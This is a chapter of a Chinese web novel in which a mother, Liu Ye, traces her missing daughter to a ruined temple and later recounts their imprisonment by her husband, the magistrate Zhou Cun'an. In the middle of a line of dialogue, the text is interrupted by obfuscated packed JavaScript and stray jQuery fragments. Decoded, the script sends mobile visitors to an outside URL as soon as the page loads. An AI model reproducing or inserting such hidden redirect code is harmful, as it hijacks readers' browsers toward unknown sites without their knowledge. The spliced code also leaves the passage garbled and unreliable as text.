26.柳溪镇

作品:《手持杀猪刀 屠尽天下魔

    想起这件事,柳叶一点不敢耽搁,连忙就朝书房赶去。


    她找了个借口,打发了门口的守卫,回到书房,周存安还在昏迷当中。


    柳叶没心思关注他,急急忙忙在书架上寻找。


    她记得,周存安平时就会将那个红木盒子放在书架上。


    果不其然,在书架的最高点,红木盒子正待在那里。


    费力踮起脚,柳叶才拿下盒子,冰凉的木质感让她的指尖发颤。


    她拿出之前在周存安身上找到的钥匙,对准锁孔,轻轻一转,“咔哒”一声,打开盒子。


    里面整整齐齐放着慧儿送给周存安的所有东西。


    柳叶一样一样的拿出来看,指尖忍不住颤抖:这是慧儿用炭笔在纸上画的小人,歪歪扭扭的身影,她说是他们一家三口;


    这是慧儿下河捡的石头,她说很漂亮,所以捡了很多,也送了很多人。


    芷柔、小玉、还有那个叫春杏的丫头,慧儿说她的红印很特别,是天上神仙的赐福,还不允许其他人欺负春杏。


    还有些零碎的小布偶、晒干的干花。


    甚至有慧儿自己掉的牙齿,她不知道在哪里听说,牙齿能辟邪,所以每掉一颗牙,她都拿来送给别人,祈愿大家平平安安。


    柳叶想起慧儿那古灵精怪的模样,大眼睛一眨一眨的,好似在撒娇一样。


    心里像是被怪兽抓着挠,疼得一阵一阵的。


    眼泪止不住的流,砸在这些美好祝福的小物件上。


    柳叶吸了吸鼻子,继续往下翻,除了这些礼物,里面包括周存安的官印、告身……


    翻到最底下,她翻到了一张薄薄的纸,起初她还以为又是慧儿画的画,翻开一看,才知道不是。


    只见纸上写着寥寥两句话,“日出方向半步遥,城外荒丘见禅房。”


    柳叶皱着眉,细细思索这句话,日出是东方,“半步遥”该是离城不远,“见禅房”是指有一间禅房。


    是那间破庙!


    柳叶想起来了,东边的城外有一间破庙,那地方几乎没人会去,因为四周埋的都是意外去世的人。


    柳溪镇的人认为那里很晦气,所以基本上都不会去那里。


    平时柳叶也不会往那里去,她对这种事情一向都有点害怕。


    可一想到慧儿可能在那儿,柳叶心里生出了无限的勇气,那些惧意通通消失不见。


    别说是间破庙,就是上刀山、下火海,她也要去闯一闯。


    再说,如果真有什么不干净的东西,也该去找周存安这种人面兽心的禽兽。


    她把慧儿的东西拿出来,转身回到了自己房间。


    快速换了身不起眼的衣服,收拾了个小包裹,装了些干粮、水和几件慧儿的衣服,刚踏出房门的那一刻,柳叶忽然想到芷柔。


    那丫头一向善良,但这个县太府,装了周存安这种人面兽心的东西,是万万不能再让芷柔呆在这里了。


    可眼下时间紧迫,再加上西院被围,她实在是没办法没办法。


    只能匆匆写下她和芷柔的暗号,她知道,芷柔一看,就会明白她的意思。


    做完这一切,柳叶揣好包袱,低着头,借着夜色,悄悄溜出了县太府,朝着城东的方向快步走去。


    夏日的夜风带着点草木的湿气,吹在身上凉丝丝的,却带不走柳叶心里的燥热。


    她内心又喜又怕,喜的是慧儿终于有了一丝线索,想来应该是安全的。


    怕的是慧儿才六岁,那么小的孩子,在破庙会不会害怕?会不会饿肚子?


    越想,她跑的越快,脚下的石子硌着脚掌生疼也不在意。


    赶到破庙时,已经是两刻钟后。


    庙门虚掩着,风吹过破旧的木窗,发出“呜呜”的声响。


    旁边的老槐树上,几只乌鸦“嘎嘎”的叫着,声音凄厉而哀婉,好像在为她哀鸣。


    柳叶来不及多想,颤着手轻轻直接推开门,朝里面走去。


    庙里黑漆漆一片,只有月光从破洞的屋顶洒下来,隐隐约约能看见中间立着一尊佛像。


    慧儿竟真的在这里!她此时正躺在那尊佛像前的干草堆上,一动不动的,好像是睡着了。


    柳叶的心一下子提到嗓子眼,快步跑过去,蹲下身轻轻摇了摇她,“慧儿,慧儿。”


    见她毫无反应,又伸手摸了摸她的额头,还好没发烧。


    探了探鼻息,呼吸均匀。


    确定只是睡着了,并无大碍,柳叶悬着的心才落了下来。


    一把将慧儿紧紧抱在怀里,失而复得的喜悦和一整天的担惊受怕一下子涌上来,忍不住嚎啕大哭起来。


    她终于找到了慧儿,幸好她没事!


    慧儿被哭声吵醒,她用力揉了揉眼睛,仿佛是不可置信般,盯着柳叶看了看。


    确定是娘亲本人后,慧儿嘴巴一撇,顿时委屈的哭出声,“娘亲,慧儿今天好害怕,呜呜呜……”


    柳叶更加抱紧慧儿,擦掉她脸上的泪水,柔声安抚,“没事没事,慧儿不怕啊,娘亲在这里呢。”


    两人收拾好情绪,柳叶将慧儿抱在怀里,她们得赶快出发了,不然周存安发现就遭了。


    抱起慧儿,转身推开破庙的木门,刚踏出一步,柳叶就愣住了。


    月光下,周存安就站在不远处,脸上带着温和的笑,眼神却深不见底。


    慧儿一见他,眼睛一亮,挣扎着想要从柳叶怀里下来,小脸上满是欢喜:“爹爹!你是来接我和娘亲回家的吗?”


    周存安笑了笑,目光掠过柳叶,落在慧儿身上,声音温柔:“是啊,爹爹来接慧儿回家了。”说着,伸出双手,作势要抱。


    柳叶心里一紧,双臂猛地用力,将慧儿牢牢抱在怀里,不让她动弹。


    慧儿不明所以,看了看娘亲紧绷的脸,又看了看周存安,刚才的欢喜渐渐褪去,心里莫名生出一丝害怕,乖乖地搂住柳叶的脖子,不再说话。


    见她这般模样,周存安脸上的笑容一点点淡了下去,眼神变得冰冷。


    “这么说,这从头到尾都是周存安设的局?”夏秋听得目瞪口呆,忍不住惊呼出声。


    “这个男人的心机也太深了,太可怕了!”


    柳叶点了点头,眼神黯淡下来。


    “那他为什么要这样做


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087726|194858||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,他不是……”夏秋望了一眼睡得正香的慧儿,剩下的她不忍心再说下去。


    起初我也想不明白。”柳叶的声音低沉,带着一丝疲惫。


    “后来被关着的时候,我反复琢磨,大概是——他是怕我把他的事传出去,所以故意留了线索让我找,想把我也骗到破庙里,一网打尽。”


    “那后来你们是怎么被关在破庙下面的?”凝重的气氛被陈既白这一声询问打破。


    提到这个,柳叶沉默了片刻,指尖无意识地摸了摸慧儿的小手,声音有些沙哑,“其实在那天晚上,我们刚踏出破庙门,就被周存安拦住了。”


    “他没杀我们,而是把我们关进了破庙底下的石室里。幸好我收拾包袱时多带了些干粮和水,才撑了下来。”


    “过了两天,那天正好是月圆之夜,周存安来了石室,他想把慧儿带走。”


    “我当时急疯了,知道他这次来,肯定是要取慧儿的心头血炼药,脑子里一片空白,只想着要保护慧儿。”


    “等我再醒来时,脸上就长了那些黑纹,脑中还有东西和我时不时对话,我觉得不对劲。”


    “甚至在后面,我发觉它想争夺我身体的控制权,我费了所有心思才将它堪堪压制住。”


    她抬手摸了摸自己的脸颊,那里曾经布满狰狞的黑纹,如今虽已褪去,却在心里留下了不可磨灭的伤痛。


    “周存安大概是怕我真的失控伤了他,没敢直接硬抢。所以他只能继续把我们关在石室里,偶尔送点吃的,想来是在等合适的时机再动手。”


    “都过去了。”陈既白轻声安慰道,语气温和,“以后不会再有人伤害你们母女了。”


    “是啊,柳姐姐。”夏秋也跟着附和,看向慧儿的眼神满是心疼,“你和慧儿以后一定会平平安安的,日子会越来越好的。”


    柳叶看着两人真诚的眼神,心里一暖,勉强笑了笑:“嗯,都过去了,以后我和慧儿会好好过日子的,谢谢你们。”


    陈既白看了看窗外的天色,夜色已深,说道:“时候不早了,柳姐姐你折腾了这么久,肯定累坏了,好好休息一晚。夏秋,我们也先回去吧。”


    她又转头对柳叶郑重说道:“柳姐姐放心,今晚不会有任何人来打扰你和慧儿休息,你好好睡一觉吧。”


    柳叶点了点头,目送着两人离开,抱着慧儿躺到床上,轻轻拍着她的背,心里默念:一切都过去了,以后再也不会让慧儿受委屈了。


    陈既白和夏秋辞别柳叶,并肩回了房间。


    刚掩上房门,陈既白脸上的温和便褪去几分,眉头微蹙,语气凝重地看向夏秋:“夏秋,你琢磨着,今晚失踪的那孩子,会不会就在县太府里?”


    夏秋走到桌边倒了两杯温水,递给她一杯,沉吟着点头:“我觉得可能性不小。按照柳姐姐刚才说的,那孩子若没被带去破庙,那最有可能的地方,就是县太府了。”


    陈既白接过水杯,指尖摩挲着杯沿,目光沉了沉:“如此说来,今晚咱们得再探一趟县太府。”


    她认真看了一眼夏秋,“不,准确来说,与其瞎找,不如直接去会会那位县太爷——周存安!”